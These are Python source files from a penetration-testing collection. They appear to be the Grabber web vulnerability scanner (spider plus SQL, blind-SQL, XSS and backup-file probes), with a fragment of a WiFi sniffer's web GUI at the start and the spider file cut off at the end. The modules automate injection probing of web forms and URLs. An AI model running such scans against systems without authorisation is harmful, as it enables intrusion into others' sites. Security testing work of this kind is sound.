self.wfile.write('<tr><td><font size=2>%s</td><td><font size=2>%s</td><td><font size=2>%s</td><td><font size=2>%s</td><td><font size=2>%s</td><td><font size=2>%s</td><td><font size=2>%s</td>' % ('<a href=\"/listapclients?bssid=' + urllib.quote(iBSSID) + '\" target=\"_blank\" onclick=\"window.open(this.href,this.target);return false;\">' + cgi.escape(iBSSID) + '</a>',cgi.escape(iSSID),cgi.escape(iCh),cgi.escape(iEnc),iClientsNum,cgi.escape(apVendor),cgi.escape(iWhen)) ) self.wfile.write('\n') self.wfile.write('</TABLE>') self.wfile.write('</HTML>\n') return def do_GET(self): ## horrible, but works #self._initCmdHandlers() cmdFound = 0 thePath = '' if self.path.find('?') != -1: thePath = self.path[ 0:self.path.find('?') ] else: thePath = self.path for cmd in self._CommandsHandlers.keys(): if thePath == cmd: self._CommandsHandlers[cmd]() cmdFound = 1 if cmdFound == 1: return self.path = "/webgui/" + self.path SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self) #(scheme, netloc, path, params, query, fragment) = urlparse.urlparse( self.path ) #self.wfile.write(self.path) #self.wfile.write(params) #self.wfile.write(query) class ThreadingHTTPServer (SocketServer.ThreadingMixIn, BaseHTTPServer.HTTPServer): pass def dummy_log(): return class WifiZooWebGui(Thread): def __init__(self): Thread.__init__(self) def run(self): print "Launching Web Interface.." #SimpleHTTPServer.test(WebHandler, ThreadingHTTPServer) HandlerClass = WebHandler ServerClass = ThreadingHTTPServer protocol = 'HTTP/1.0' port = 8000 server_address = ('127.0.0.1', port) HandlerClass.protocol_version = protocol httpd = ServerClass(server_address, HandlerClass) httpd.log_message = dummy_log sa = httpd.socket.getsockname() print "WifiZoo Web GUI Serving HTTP on", sa[0], "port", sa[1], "..." httpd.serve_forever()
20,509
Python
.py
412
40.128641
484
0.581374
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,851
grabber.py
pwnieexpress_raspberry_pwn/src/pentest/grabber/grabber.py
#!/usr/bin/env python """ Grabber Core v0.1 Copyright (C) 2006 - Romain Gaucher - http://rgaucher.info """ from BeautifulSoup import BeautifulSoup from xml.sax import * # Need PyXML [http://pyxml.sourceforge.net/] from optparse import OptionParser from urllib2 import URLError, HTTPError import urllib import time import re,sys,os # Personal libraries from spider import database, database_css, database_js from spider import spider, cj, allowedExtensions COOKIEFILE = 'cookies.lwp' # the path and filename that you want to use to save your cookies in import os.path txdata = None refererUrl = "http://google.com/?q=grabber" txheaders = {'User-agent' : 'Grabber/0.1 (X11; U; Linux i686; en-US; rv:1.7)', 'Referer' : refererUrl} import cookielib import urllib2 urlopen = urllib2.urlopen Request = urllib2.Request def normalize_whitespace(text): return ' '.join(text.split()) def clear_whitespace(text): return text.replace(' ','') # Configuration variables confFile = False confUrl = "" confSpider = False confActions = [] confInfos = {} # Handle the XML file with a SAX Parser class ConfHandler(ContentHandler): def __init__(self): global confFile confFile = True self.inSite = False self.inScan = False self.inSpider = False self.inUrl = False self.inAction = False self.string = "" self.listActions = ["crystal", "sql","bsql","xss","include","backup","javascript", "session"] def startElement(self, name, attrs): global confUrl,confInfos self.string = "" if name == 'site': self.inSite = True if name == 'spider' and self.inSite: self.inSpider = True if name == 'scan' and self.inSite: self.inScan = True elif self.inSite and name == 'url': self.inUrl = True confUrl = "" elif self.inScan and name in self.listActions: self.inAction = True if 'info' in attrs.keys(): confInfos[name] = attrs.getValue('info') def characters(self, ch): if self.inSite: self.string = self.string + ch def endElement(self, name): global confUrl,confActions,confSpider if name == 'url' and self.inUrl: self.inUrl = False confUrl = normalize_whitespace(self.string) if name == 'spider' and self.inSpider: self.inSpider = False confSpider = clear_whitespace(self.string) if name in self.listActions and self.inScan and not name in confActions: confActions.append(name) if name == 'site' and self.inSite: self.inSite = False attack_list = { } # Handle the XML file with a SAX Parser class AttackHandler(ContentHandler): def __init__(self): global attack_list attack_list = {} self.inElmt = False self.inCode = False self.inName = False self.sName = "" self.code = "" def startElement(self, name, attrs): if name == 'attack': self.inElmt = True elif name == 'code': self.inCode = True self.code = "" elif name == "name": self.inName = True self.sName = "" def characters(self, ch): if self.inCode: self.code = self.code + ch elif self.inName: self.sName = self.sName + ch def endElement(self, name): global attack_list if name == 'code': self.inCode = False self.code = normalize_whitespace(self.code) if name == 'name': self.inName = False self.sName = normalize_whitespace(self.sName) if name == 'attack': self.inElmt = False # send the plop in the dictionnary if not (self.sName in attack_list.keys()): attack_list[self.sName] = [] attack_list[self.sName].append(self.code) class LogHandler: def __init__(self, fileName): self.stream = None try: self.stream = open(fileName, 'w') except IOError: print "Error during the construction of the log system" return self.stream.write("# Log from Grabber.py\n") def __le__(self, string): self.stream.write(string + '\n') self.stream.flush() def __del__(self): self.stream.close() log = LogHandler('grabber.log') def unescape(s): """ Unescaping the HTML special characters """ s = s.replace("&lt;", "<") s = s.replace("&gt;", ">") s = s.replace("&quot;", "\"") s = s.replace("&apos;","'") s = s.replace("&amp;", "&") return s def single_urlencode(text): """single URL-encode a given 'text'. Do not return the 'variablename=' portion.""" blah = urllib.urlencode({'blahblahblah':text}) #we know the length of the 'blahblahblah=' is equal to 13. This lets us avoid any messy string matches blah = blah[13:] blah = blah.replace('%5C0','%00') return blah def getContent_GET(url,param,injection): global log """ Get the content of the url by GET method """ newUrl = url ret = None if url.find('?') < 0: if url[len(url)-1] != '/' and not allowedExtensions(url): url += '/' newUrl = url + '?' + param + '=' + single_urlencode(str(injection)) else: newUrl = url + '&' + param + '=' + single_urlencode(str(injection)) try: opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) urllib2.install_opener(opener) log <= ( newUrl) req = Request(newUrl, None, txheaders) # create a request object ret = urlopen(req) # and open it to return a handle on the url ret = urlopen(req) # and open it to return a handle on the url except HTTPError, e: log <= ( 'The server couldn\'t fulfill the request.') log <= ( 'Error code: %s' % e.code) return None except URLError, e: log <= ( 'We failed to reach a server.') log <= ( 'Reason: %s' % e.reason) return None except IOError: log <= ( "Cannot open: %s" % url) return None return ret def getContentDirectURL_GET(url, string): global log """ Get the content of the url by GET method """ ret = "" try: if len(string) > 0: if url[len(url)-1] != '/' and url.find('?') < 0 and not allowedExtensions(url): url += '/' url = url + "?" + (string) opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) urllib2.install_opener(opener) log <= ( url) req = Request(url, None, txheaders) # create a request object ret = urlopen(req) # and open it to return a handle on the url except HTTPError, e: log <= ( 'The server couldn\'t fulfill the request.') log <= ( 'Error code: %s' % e.code) return None except URLError, e: log <= ( 'We failed to reach a server.') log <= ( 'Reason: %s' % e.reason) return None except IOError: log <= ( "Cannot open: %s" % url) return None return ret def getContent_POST(url,param,injection): global log """ Get the content of the url by POST method """ txdata = urllib.urlencode({param: injection}) ret = None try: opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) urllib2.install_opener(opener) log <= ( url) log <= ( txdata) req = Request(url, txdata, txheaders) # create a request object ret = urlopen(req) # and open it to return a handle on the url ret = urlopen(req) # and open it to return a handle on the url except HTTPError, e: log <= ( 'The server couldn\'t fulfill the request.') log <= ( 'Error code: %s' % e.code) return None except URLError, e: log <= ( 'We failed to reach a server.') log <= ( 'Reason: %s' % e.reason) return None except IOError: log <= ( "Cannot open: %s" % url) return None return ret def getContentDirectURL_POST(url,allParams): global log """ Get the content of the url by POST method """ txdata = urllib.urlencode(allParams) ret = None try: opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) urllib2.install_opener(opener) log <= ( url) log <= ( txdata) req = Request(url, txdata, txheaders) # create a request object ret = urlopen(req) # and open it to return a handle on the url ret = urlopen(req) # and open it to return a handle on the url except HTTPError, e: log <= ( 'The server couldn\'t fulfill the request.') log <= ( 'Error code: %s' % e.code) return None except URLError, e: log <= ( 'We failed to reach a server.') log <= ( 'Reason: %s' % e.reason) return None except IOError: log <= ( "Cannot open: %s" % url) return None return ret # Levenstein distance def ld(a, b): # stolen from m.l. hetland n, m = len(a), len(b) if n > m: # Make sure n <= m, to use O(min(n,m)) space a,b = b,a n,m = m,n current = xrange(n+1) for i in xrange(1,m+1): previous, current = current, [i]+[0] * m for j in xrange(1, n+1): add, delete = previous[j] + 1, current[j-1] + 1 change = previous[j-1] if a[j-1] != b[i-1]: change +=1 current[j] = min(add, delete, change) return current[n] def partially_in(object, container, url = "IMPOSSIBLE_GRABBER_URL", two_long = False): """ Crappy decision function Is an object partially in a text ? """ try: if object in container and url not in container: return True except TypeError: return False if not two_long: # load the big engine... dist = ld(object, container) # espilon ~ len(object) / 4 b1 = int(len(object) - len(object) / 4) b2 = int(len(object) + len(object) / 4) # diff of the original text and the given text length = abs(len(container)- dist) if b1 < length and length < b2: return True else: # load the big engine... dist = ld(object, container) # espilon ~ len(object) / (len(object) + 1) b1 = int(len(object) - len(object) / (len(object) + 1)) b2 = int(len(object) + len(object) / (len(object) + 1)) # diff of the original text and the given text length = abs(len(container)- dist) if b1 < length and length < b2: return True return False def load_definition(fileName): """ Load the XML of definition """ global attack_list attack_list = {} parser = make_parser() xss_handler = AttackHandler() # Tell the parser to use our handler parser.setContentHandler(xss_handler) parser.parse(fileName) def setDatabase(localDatabase): global database database = {} database = localDatabase def investigate(url, what = "xss"): global attack_list """ Cross-Site Scripting Checking Injection Blind Injection """ localDB = None if what == "xss": from xss import process load_definition('xssAttacks.xml') localDB = database elif what == "sql": from sql import process load_definition('sqlAttacks.xml') localDB = database elif what == "bsql": from bsql import process load_definition('bsqlAttacks.xml') localDB = database elif what == "backup": from backup import process localDB = database elif what == "include": from files import process load_definition('filesAttacks.xml') localDB = database elif what == "javascript": from javascript import process localDB = database_js elif what == "crystal": from crystal import process localDB = database elif what == "session": if 'session' in confInfos: attack_list = confInfos['session'] localDB = None from session import process else: raise AtrributeError("You need to give the session id storage key e.g. PHPSESSID, sid etc. ") process(url, localDB, attack_list) # look at teh cookies returned for index, cookie in enumerate(cj): print '[Cookie]\t', index, '\t:\t', cookie cj.save(COOKIEFILE) # put a link def active_link(s): pos = s.find('http://') if pos < 1: return s else: print pos, len(s), s[pos:len(s)] url = s[pos:len(s)] newStr = s[0:pos-1] + "<a href='" +url + "'>" + urllib.unquote(url) + "</a>" return newStr return s def createStructure(): try: os.mkdir("results") except OSError,e : a=0 try: os.mkdir("local") except OSError,e : a=0 try: os.mkdir("local/js") except OSError,e : a=0 try: os.mkdir("local/css") except OSError,e : a=0 if __name__ == '__main__': option_url = "" option_sql = False option_bsql = False option_xss = False option_backup = False option_include = False option_spider = False option_js = False option_crystal = False option_session = False if len(sys.argv) > 1: parser = OptionParser() parser.add_option("-u", "--url", dest="archives_url", help="Adress to investigate") parser.add_option("-s", "--sql", dest="sql", action="store_true",default=False, help="Look for the SQL Injection") parser.add_option("-x", "--xss", dest="xss", action="store_true",default=False, help="Perform XSS attacks") parser.add_option("-b", "--bsql", dest="bsql", action="store_true",default=False, help="Look for blind SQL Injection") parser.add_option("-z", "--backup", dest="backup", action="store_true",default=False, help="Look for backup files") parser.add_option("-d", "--spider", dest="spider", help="Look for every files") parser.add_option("-i", "--include", dest="include", action="store_true",default=False, help="Perform File Insertion attacks") parser.add_option("-j", "--javascript", dest="javascript", action="store_true",default=False, help="Test the javascript code ?") parser.add_option("-c", "--crystal", dest="crystal", action="store_true",default=False, help="Simple crystal ball test.") parser.add_option("-e", "--session", dest="session", action="store_true",default=False, help="Session evaluations") (options, args) = parser.parse_args() option_url = options.archives_url option_sql = options.sql option_bsql = options.bsql option_xss = options.xss option_backup = options.backup option_include = options.include option_spider = options.spider option_js = options.javascript option_crystal = options.crystal option_session = options.session else: try: f = open("grabber.conf.xml", 'r') except IOError: print "No arguments ? You need to setup the XML configuration file or using the inline arguments" print "Look at the doc to start..." sys.exit(1) parser = make_parser() conf_handler = ConfHandler() # Tell the parser to use our handler parser.setContentHandler(conf_handler) parser.parse("grabber.conf.xml") option_url = confUrl option_spider = confSpider option_sql = "sql" in confActions option_bsql = "bsql" in confActions option_xss = "xss" in confActions option_backup = "backup" in confActions option_include= "include" in confActions option_js = "javascript" in confActions option_crystal= "crystal" in confActions option_session= "session" in confActions # default to localhost ? archives_url = "http://localhost" if option_url: archives_url = option_url root = archives_url createStructure() depth = 1 try: depth = int(option_spider.strip().split()[0]) except (ValueError, IndexError,AttributeError): depth = 0 try: try: spider(archives_url, depth) except IOError,e : print "Cannot open the url = %s" % archives_url print e.strerror sys.exit(1) if len(database.keys()) < 1: print "No information found!" sys.exit(1) else: print "Start investigation..." if option_sql: investigate(archives_url, "sql") if option_xss: investigate(archives_url) if option_bsql: investigate(archives_url,"bsql") if option_backup: investigate(archives_url, "backup") if option_include: investigate(archives_url, "include") if option_js: investigate(archives_url, "javascript") if option_crystal: investigate(archives_url, "crystal") if option_session: investigate(archives_url, "session") except KeyboardInterrupt: print "Plouf!"
15,818
Python
.py
495
28.032323
131
0.663749
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,852
bsql.py
pwnieexpress_raspberry_pwn/src/pentest/grabber/bsql.py
#!/usr/bin/env python """ Blind SQL Module for Grabber v0.1 Copyright (C) 2006 - Romain Gaucher - http://rgaucher.info """ import sys from grabber import getContent_POST, getContent_GET from grabber import getContentDirectURL_GET, getContentDirectURL_POST from grabber import single_urlencode # order of the Blind SQL operations orderBSQL = {'AND' : 'TEST', 'TEST' : ['OR','COMMENT','ESCAPE','EVASION']} overflowStr = "" for k in range(0,512): overflowStr += '9' def detect_sql(output, ): listWords = ["SQL","MySQL","sql","mysql"] for wrd in listWords: if output.count(wrd) > 0: return True return False def equal(h1,h2): if h1 == h2: return True return False def generateOutput(url, gParam, instance,method,type): astr = "<bsql>\n\t<method>%s</method>\n\t<url>%s</url>\n\t<parameter name='%s'>%s</parameter>\n\t<type name='Blind SQL Injection Type'>%s</type>" % (method,url,gParam,str(instance),type) if method in ("get","GET"): # print the real URL p = (url+"?"+gParam+"="+single_urlencode(str(instance))) astr += "\n\t<result>%s</result>" % p astr += "\n</bsql>\n" return astr def generateOutputLong(url, urlString ,method,type, allParams = {}): astr = "<bsql>\n\t<method>%s</method>\n\t<url>%s</url>\n\t<type name='Blind SQL Injection Type'>%s</type>" % (method,url,type) if method in ("get","GET"): # print the real URL p = (url+"?"+urlString) astr += "\n\t<result>%s</result>" % (p) else: astr += "\n\t<parameters>" for k in allParams: astr += "\n\t\t<parameter name='%s'>%s</parameter>" % (k, allParams[k]) astr += "\n\t</parameters>" astr += "\n</bsql>\n" return astr def permutations(L): if len(L) == 1: yield [L[0]] elif len(L) >= 2: (a, b) = (L[0:1], L[1:]) for p in permutations(b): for i in range(len(p)+1): yield b[:i] + a + b[i:] def process(url, database, attack_list): plop = open('results/bsql_GrabberAttacks.xml','w') plop.write("<bsqlAttacks>\n") for u in database.keys(): if len(database[u]['GET']): print "Method = GET ", u # single parameter testing for gParam in database[u]['GET']: defaultValue = database[u]['GET'][gParam] defaultReturn = getContent_GET(u,gParam,defaultValue) if defaultReturn == None: continue # get the AND statments for andSQL in attack_list['AND']: tmpError = getContent_GET(u,gParam,andSQL) if tmpError == None: continue if equal(defaultReturn.read(), tmpError.read()): # dive here :) basicError = getContent_GET(u,gParam,'') overflowErS = getContent_GET(u,gParam,overflowStr) if basicError == None or overflowErS == None: continue if equal(basicError.read(), overflowErS.read()): for key in orderBSQL[orderBSQL['AND']]: for instance in attack_list[key]: tmpError = getContent_GET(u,gParam,instance) if tmpError == None: continue if equal(basicError.read(), tmpError.read()): # should be an error # print u,gParam,instance plop.write(generateOutput(u,gParam,instance,"GET",key)) else: # report a overflow possible error #print u,gParam, "overflow" plop.write(generateOutput(u,gParam,"99999...99999","GET","Overflow")) """ # see the permutations if len(database[u]['GET'].keys()) > 1: for typeOfInjection in attack_list: for instance in attack_list[typeOfInjection]: url = "" for gParam in database[u]['GET']: url += ("%s=%s&" % (gParam, single_urlencode(str(instance)))) handle = getContentDirectURL_GET(u,url) if handle != None: output = handle.read() if detect_sql(output): # generate the info... plop.write(generateOutputLong(u,url,"GET",typeOfInjection)) """ if len(database[u]['POST']): print "Method = POST ", u # single parameter testing for gParam in database[u]['POST']: defaultValue = database[u]['POST'][gParam] defaultReturn = getContent_POST(u,gParam,defaultValue) if defaultReturn == None: continue # get the AND statments for andSQL in attack_list['AND']: tmpError = getContent_POST(u,gParam,andSQL) if tmpError == None: continue if equal(defaultReturn.read(), tmpError.read()): # dive here :) basicError = getContent_POST(u,gParam,'') overflowErS = getContent_POST(u,gParam,overflowStr) if basicError == None or overflowErS == None: continue if equal(basicError.read(), overflowErS.read()): for key in orderBSQL[orderBSQL['AND']]: for instance in attack_list[key]: tmpError = getContent_POST(u,gParam,instance) if tmpError == None: continue if equal(basicError.read(), tmpError.read()): # should be an error plop.write(generateOutput(u,gParam,instance,"POST",key)) else: # report a overflow possible error plop.write(generateOutput(u,gParam,"99999...99999","POST","Overflow")) plop.write("\n</bsqlAttacks>\n") plop.close() return ""
5,202
Python
.py
139
31.395683
189
0.630034
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,853
backup.py
pwnieexpress_raspberry_pwn/src/pentest/grabber/backup.py
#!/usr/bin/env python """ Backup Files Module for Grabber v0.1 Copyright (C) 2006 - Romain Gaucher - http://rgaucher.info """ import sys from grabber import getContentDirectURL_GET from spider import allowed # list of possible add-in extension ext = [".bak",".old",".",".txt",".inc",".zip",".tar"] def generateOutput(url): astr = "\n\t<backup>%s" % (url) astr += "</backup>" return astr def allowed_inUrl(u): for a in allowed: if u.count('.'+a) > 0: return True return False def process(url, database, attack_list): plop = open('results/backup_GrabberAttacks.xml','w') plop.write("<backupFiles>\n") for u in database.keys(): if allowed_inUrl(u): for e in ext: url1 = u + e url2 = u + e.upper() try: if len(getContentDirectURL_GET(url1,'').read()) > 0: plop.write(generateOutput(url1)) if len(getContentDirectURL_GET(url2,'').read()) > 0: plop.write(generateOutput(url2)) except AttributeError: continue plop.write("\n</backupFiles>") plop.close() return ""
1,070
Python
.py
37
24.918919
60
0.650732
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,854
xss.py
pwnieexpress_raspberry_pwn/src/pentest/grabber/xss.py
#!/usr/bin/env python """ Cross-Site Scripting Module for Grabber v0.1 Copyright (C) 2006 - Romain Gaucher - http://rgaucher.info """ import sys from grabber import getContent_POST, getContent_GET from grabber import getContentDirectURL_GET, getContentDirectURL_POST from grabber import single_urlencode, partially_in, unescape def detect_xss(instance, output): if unescape(instance) in output: return True elif partially_in(unescape(instance), output): return True return False def generateOutput(url, gParam, instance,method,type): astr = "<xss>\n\t<method>%s</method>\n\t<url>%s</url>\n\t<parameter name='%s'>%s</parameter>\n\t<type name='XSS Injection Type'>%s</type>" % (method,url,gParam,str(instance),type) if method in ("get","GET"): # print the real URL p = (url+"?"+gParam+"="+single_urlencode(str(instance))) astr += "\n\t<result>%s</result>" % p astr += "\n</xss>\n" return astr def generateOutputLong(url, urlString ,method,type, allParams = {}): astr = "<xss>\n\t<method>%s</method>\n\t<url>%s</url>\n\t<type name='XSS Injection Type'>%s</type>" % (method,url,type) if method in ("get","GET"): # print the real URL p = (url+"?"+urlString) astr += "\n\t<result>%s</result>" % (p) else: astr += "\n\t<parameters>" for k in allParams: astr += "\n\t\t<parameter name='%s'>%s</parameter>" % (k, allParams[k]) astr += "\n\t</parameters>" astr += "\n</xss>\n" return astr def permutations(L): if len(L) == 1: yield [L[0]] elif len(L) >= 2: (a, b) = (L[0:1], L[1:]) for p in permutations(b): for i in range(len(p)+1): yield b[:i] + a + b[i:] def process(urlGlobal, database, attack_list): plop = open('results/xss_GrabberAttacks.xml','w') plop.write("<xssAttacks>\n") for u in database.keys(): if len(database[u]['GET']): print "Method = GET ", u for gParam in database[u]['GET']: for typeOfInjection in attack_list: for instance in attack_list[typeOfInjection]: if instance != "See Below": handle = getContent_GET(u,gParam,instance) if handle != None: output = handle.read() header = handle.info() if detect_xss(str(instance),output): # generate the info... plop.write(generateOutput(u,gParam,instance,"GET",typeOfInjection)) # see the permutations if len(database[u]['GET'].keys()) > 1: for typeOfInjection in attack_list: for instance in attack_list[typeOfInjection]: url = "" for gParam in database[u]['GET']: url += ("%s=%s&" % (gParam, single_urlencode(str(instance)))) handle = getContentDirectURL_GET(u,url) if handle != None: output = handle.read() if detect_xss(str(instance),output): # generate the info... plop.write(generateOutputLong(u,url,"GET",typeOfInjection)) if len(database[u]['POST']): print "Method = POST ", u for gParam in database[u]['POST']: for typeOfInjection in attack_list: for instance in attack_list[typeOfInjection]: if instance != "See Below": handle = getContent_POST(u,gParam,instance) if handle != None: output = handle.read() header = handle.info() if detect_xss(str(instance),output): # generate the info... plop.write(generateOutput(u,gParam,instance,"POST",typeOfInjection)) # see the permutations if len(database[u]['POST'].keys()) > 1: for typeOfInjection in attack_list: for instance in attack_list[typeOfInjection]: allParams = {} for gParam in database[u]['POST']: allParams[gParam] = str(instance) handle = getContentDirectURL_POST(u,allParams) if handle != None: output = handle.read() if detect_xss(str(instance), output): # generate the info... plop.write(generateOutputLong(u,url,"POST",typeOfInjection, allParams)) plop.write("\n</xssAttacks>\n") plop.close() return ""
4,018
Python
.py
103
33.271845
182
0.638718
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,855
sql.py
pwnieexpress_raspberry_pwn/src/pentest/grabber/sql.py
#!/usr/bin/env python """ SQL Module for Grabber v0.1 Copyright (C) 2006 - Romain Gaucher - http://rgaucher.info """ import sys from grabber import getContent_POST, getContent_GET from grabber import getContentDirectURL_GET, getContentDirectURL_POST from grabber import single_urlencode def detect_sql(output, url_get = "http://localhost/?param=false"): listWords = ["SQL syntax","valid MySQL","ODBC Microsoft Access Driver","java.sql.SQLException","XPathException","valid ldap","javax.naming.NameNotFoundException"] for wrd in listWords: if output.count(wrd) > 0: return True return False def generateOutput(url, gParam, instance,method,type): astr = "<sql>\n\t<method>%s</method>\n\t<url>%s</url>\n\t<parameter name='%s'>%s</parameter>\n\t<type name='SQL Injection Type'>%s</type>" % (method,url,gParam,str(instance),type) if method in ("get","GET"): # print the real URL p = (url+"?"+gParam+"="+single_urlencode(str(instance))) astr += "\n\t<result>%s</result>" % p astr += "\n</sql>\n" return astr def generateOutputLong(url, urlString ,method,type, allParams = {}): astr = "<sql>\n\t<method>%s</method>\n\t<url>%s</url>\n\t<type name='SQL Injection Type'>%s</type>" % (method,url,type) if method in ("get","GET"): # print the real URL p = (url+"?"+urlString) astr += "\n\t<result>%s</result>" % (p) else: astr += "\n\t<parameters>" for k in allParams: astr += "\n\t\t<parameter name='%s'>%s</parameter>" % (k, allParams[k]) astr += "\n\t</parameters>" astr += "\n</sql>\n" return astr def permutations(L): if len(L) == 1: yield [L[0]] elif len(L) >= 2: (a, b) = (L[0:1], L[1:]) for p in permutations(b): for i in range(len(p)+1): yield b[:i] + a + b[i:] def process(url, database, attack_list): plop = open('results/sql_GrabberAttacks.xml','w') plop.write("<sqlAttacks>\n") for u in database.keys(): if len(database[u]['GET']): print "Method = GET ", u for gParam in database[u]['GET']: for typeOfInjection in attack_list: for instance in attack_list[typeOfInjection]: handle = getContent_GET(u,gParam,instance) if handle != None: output = handle.read() header = handle.info() if detect_sql(output): # generate the info... plop.write(generateOutput(u,gParam,instance,"GET",typeOfInjection)) # see the permutations if len(database[u]['GET'].keys()) > 1: for typeOfInjection in attack_list: for instance in attack_list[typeOfInjection]: url = "" for gParam in database[u]['GET']: url += ("%s=%s&" % (gParam, single_urlencode(str(instance)))) handle = getContentDirectURL_GET(u,url) if handle != None: output = handle.read() if detect_sql(output): # generate the info... plop.write(generateOutputLong(u,url,"GET",typeOfInjection)) if len(database[u]['POST']): print "Method = POST ", u for gParam in database[u]['POST']: for typeOfInjection in attack_list: for instance in attack_list[typeOfInjection]: handle = getContent_POST(u,gParam,instance) if handle != None: output = handle.read() header = handle.info() if detect_sql(output): # generate the info... plop.write(generateOutput(u,gParam,instance,"POST",typeOfInjection)) # see the permutations if len(database[u]['POST'].keys()) > 1: for typeOfInjection in attack_list: for instance in attack_list[typeOfInjection]: allParams = {} for gParam in database[u]['POST']: allParams[gParam] = str(instance) handle = getContentDirectURL_POST(u,allParams) if handle != None: output = handle.read() if detect_sql(output): # generate the info... plop.write(generateOutputLong(u,url,"POST",typeOfInjection, allParams)) plop.write("\n</sqlAttacks>\n") plop.close() return ""
3,990
Python
.py
101
33.871287
182
0.641324
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,856
spider.py
pwnieexpress_raspberry_pwn/src/pentest/grabber/spider.py
#!/usr/bin/env python """ Spider Module for Grabber v0.1 Copyright (C) 2006 - Romain Gaucher - http://rgaucher.info """ import urllib import time import re,sys,os,string from BeautifulSoup import BeautifulSoup,SoupStrainer from urllib2 import URLError, HTTPError COOKIEFILE = 'cookies.lwp' # the path and filename that you want to use to save your cookies in import os.path cj = None ClientCookie = None cookielib = None import cookielib import urllib2 urlopen = urllib2.urlopen cj = cookielib.LWPCookieJar() # This is a subclass of FileCookieJar that has useful load and save methods Request = urllib2.Request txdata = None refererUrl = "http://google.com/?q=you!" txheaders = {'User-agent' : 'Grabber/0.1 (X11; U; Linux i686; en-US; rv:1.7)', 'Referer' : refererUrl} allowed=['php','html','htm','xml','xhtml','xht','xhtm', 'asp','aspx','msp','mspx','php3','php4','php5','txt','shtm', 'shtml','phtm','phtml','jhtml','pl','jsp','cfm','cfml','do','py', 'js', 'css'] database = {} database_url = [] database_css = [] database_js = [] database_ext = [] # database of unsecure external links local_url = [] dumb_params = [] # if there is no parameters associated with a given URL, associate this list of "whatever looks like" root = "http://localhost" outSpiderFile = None """ database = { u"URL" : {'GET' : {'param1':value}, 'POST' : { 'param2' : value }}, u"URL" : {'GET' : {'param1':value}, 'POST' : { 'param2' : value }}, u"URL" : {'GET' : {'param1':value}, 'POST' : { 'param2' : value }} } """ _urlEncode = {} for i in range(256): _urlEncode[chr(i)] = '%%%02x' % i for c in string.letters + string.digits + '_,.-/': _urlEncode[c] = c _urlEncode[' '] = '+' def urlEncode(s): """ Returns the encoded version of the given string, safe for using as a URL. """ return string.join(map(lambda c: _urlEncode[c], list(s)), '') def urlDecode(s): """ Returns the decoded version of the given string. Note that invalid URLs will throw exceptons. For example, a URL whose % coding is incorrect. """ mychr = chr atoi = string.atoi parts = string.split(string.replace(s, '+', ' '), '%') for i in range(1, len(parts)): part = parts[i] parts[i] = mychr(atoi(part[:2], 16)) + part[2:] return string.join(parts, '') def htmlencode(s): """ Escaping the HTML special characters """ s = s.replace("&", "&amp;") s = s.replace("<", "&lt;") s = s.replace(">", "&gt;") s = s.replace("\"","&quot;") s = s.replace("'", "&apos;") return s def htmldecode(s): """ Unescaping the HTML special characters """ s = s.replace("&lt;", "<") s = s.replace("&gt;", ">") s = s.replace("&quot;", "\"") s = s.replace("&apos;","'") s = s.replace("&amp;", "&") return s def getContentDirectURL_GET(url, string): """ Get the content of the url by GET method """ ret = "" try: if len(string) > 0: url = url + "?" + (string) opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) urllib2.install_opener(opener) req = Request(url, None, txheaders) # create a request object ret = urlopen(req) # and open it to return a handle on the url except HTTPError, e: return except URLError, e: return except IOError: return return ret def scan(currentURL): """ The Scanner is the first part of Grabber. It retrieves every information of the HTML page TODO: Reading in every href='' element for CSS and src='' for JavaScript / Image """ try: archives_hDl = getContentDirectURL_GET(currentURL,'') except IOError: log <= ("IOError @ %s" % currentURL) try: htmlContent= archives_hDl.read() except IOError, e: print "Cannot open the file,",(e.strerror) return except AttributeError: print ("Grabber cannot retrieve the given url: %s" % currentURL) return parseHtmlLinks (currentURL,htmlContent) parseHtmlParams(currentURL,htmlContent) def allowedExtensions(plop): for e in allowed: if '.'+e in plop: return True return False def makeRoot(urlLocal): if allowedExtensions(urlLocal): return urlLocal[0:urlLocal.rfind('/')+1] return urlLocal def giveGoodURL(href, urlLocal): """ It should return a good url... href = argument retrieven from the href... """ if 'javascript' in href: return htmldecode(urlLocal) if 'http://' in href or 'https://' in href: if urlLocal in href: return htmldecode(href) else: return urlLocal if len(href) < 1: return htmldecode(urlLocal) if href[0] == '?' and '?' not in urlLocal and not allowedExtensions(urlLocal): for e in allowed: if '.'+e in urlLocal: return htmldecode(urlLocal + href) return htmldecode(urlLocal + '/' + href) else: # simple name if allowedExtensions(urlLocal) or '?' in urlLocal: return htmldecode(urlLocal[0:urlLocal.rfind('/')+1] + href) else: return htmldecode(urlLocal + '/' + href) return htmldecode(href) def dl(fileAdress, destFile): """ Download the file """ try: f = urllib.urlopen(fileAdress) g = f.read() file = open(os.path.join('./', destFile), "wb") except IOError: return False file.write(g) file.close() return True def removeSESSID(urlssid): """ Remove the phpsessid information... don't care about it now """ k = urlssid.find('PHPSESSID') if k > 0: return urlssid[0:k-1] k = urlssid.find('sid') if k > 0: return urlssid[0:k-1] return urlssid def parseHtmlLinks(currentURL,htmlContent): global database_url,database_js,database_css """ Parse the HTML/XHTML code to get JS, CSS, links etc. """ links = SoupStrainer('a') # listAnchors = [tag['href'] for tag in BeautifulSoup(htmlContent, parseOnlyThese=links)] listAnchors = [] for tag in BeautifulSoup(htmlContent, parseOnlyThese=links): try: string = str(tag).lower() if string.count("href") > 0: listAnchors.append(tag['href']) except TypeError: continue except KeyError: continue for a in listAnchors: goodA = giveGoodURL(a,currentURL) goodA = removeSESSID(goodA) if (root in goodA) and (goodA not in database_url): 